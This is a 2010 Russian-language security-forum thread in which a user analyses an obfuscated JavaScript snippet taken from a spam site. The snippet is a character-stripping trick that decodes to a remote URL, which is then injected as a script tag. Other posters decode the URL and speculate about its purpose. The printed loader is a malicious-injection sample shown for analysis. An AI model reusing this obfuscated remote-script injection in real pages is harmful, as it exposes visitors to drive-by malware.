ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
Перезагрузить страницу странный урл в одном крипте
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

странный урл в одном крипте
  #1  
Старый 14.05.2010, 20:43
Аватар для Дикс
Дикс
Познавший АНТИЧАТ
Регистрация: 16.04.2006
Сообщений: 1,488
Провел на форуме:
2209675

Репутация: 537


Отправить сообщение для Дикс с помощью ICQ
Question странный урл в одном крипте
наткнулся на blogsspam.ru - антивирус и гугл всячески препятствовали его открытию, но я вытянул его вгетом и стал изучать исходники.

в них был крипт с таким текстом:

PHP код:

attrValue1 = 'h^@!!)t)t!^p(:#$/^()#/()p&^)!c(($h((o#m!)e&&-!()n@)!(e@($t).!g!o#o$(g$!#@&l($)e#@^$.(##!(c^o#$^m##.#a!@r@$^!.@@&$t@&r!#!)!a(i@@d&&$@n#t#@(&-$!n&#&e!))t(&.$^b@!$e^$@s(^!$t&m$@$@^e@@d!(@&p)^r)(o#&#.&r^u@$@:)!8^0#(@(8@^0$!/&g)o&o#^g@#$(l!(&e&((.!)c^o&#&m$$)/@!g@o^&)o^$&g@(l$!^e$^&.@(c!&&o)&m$/^(z$#)&5^x$^.#^^n(e&#!#@t((#/##c^$$a!^r@&e(e!#@r@(#b#u&i##!l^#d)e!r&(&.^$$c!^^o#((m(@/!$^o^(&p)&e^r!a$^^.!^c&(&o@)m@#(#/@'.replace(/@|\^|\!|\(|\)|#|\$|&/ig, '');


// это означает:

http://pchome-net.google.com.ar.traidnt-net.bestmedpro.ru:8080/google.com/google.com/z5x.net/careerbuilder.com/opera.com/ 
в результате создается тег script, эта строка ставится ему в src и он прикрепляется к body.

вопрос - что это за адрес такой? опера его не открывает
 
Ответить с цитированием

  #2  
Старый 14.05.2010, 20:48
Аватар для mailbrush
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию
PHP код:
replace(/@|^|!|(|)|#|\$|&/ig, '') 
ни о чем не говорит?
 
Ответить с цитированием

  #3  
Старый 14.05.2010, 20:49
Аватар для Kaimi
Kaimi
Reservists Of Antichat - Level 6
Регистрация: 23.08.2007
Сообщений: 1,237
Провел на форуме:
18127311

Репутация: 1676


Отправить сообщение для Kaimi с помощью ICQ
По умолчанию
Код:
http://pchome-net.google.com.ar.traidnt-net.bestmedpro.ru:8080/google.com/google.com/z5x.net/careerbuilder.com/opera.com/
 
Ответить с цитированием

  #4  
Старый 14.05.2010, 20:58
Аватар для Дикс
Дикс
Познавший АНТИЧАТ
Регистрация: 16.04.2006
Сообщений: 1,488
Провел на форуме:
2209675

Репутация: 537


Отправить сообщение для Дикс с помощью ICQ
По умолчанию
Цитата:
replace(/@|^|!|(|)|#|\$|&/ig, '')
перечислены символы, которые удаляются из строки
и?

Kaimi
чем твой адрес отличается от моего?
ясности не внесло
 
Ответить с цитированием

  #5  
Старый 14.05.2010, 21:45
Аватар для PaCo
PaCo
Постоянный
Регистрация: 06.02.2008
Сообщений: 494
Провел на форуме:
1754802

Репутация: 380
По умолчанию
Судя по всему там раньше был scr для нехорошего скрипта, мейби когда домен попал в черный список или еще чего заменили scr вот на такое, а может у bestmedpro.ru действительно раньше были такие сабы потому как адрес вполне соответствует RFC 1630, но их снесли.
 
Ответить с цитированием
Ответ



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Сайты на одном IP, хорошо или плохо для поисковиков? Корвин Белые методы раскрутки 22 25.02.2010 00:06
Исследователи загрузили миллион ядер linux на одном компьютере XikarO Мировые новости 13 14.08.2009 02:44
На одном из мощнейших суперкомпьютеров СНГ внедрена платформа ALT Linux PaLb14 Мировые новости 0 24.12.2008 20:19
Два в одном – делаем Sim-картам обрезание silveran Сотовый фрикинг 2 08.01.2006 20:37



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ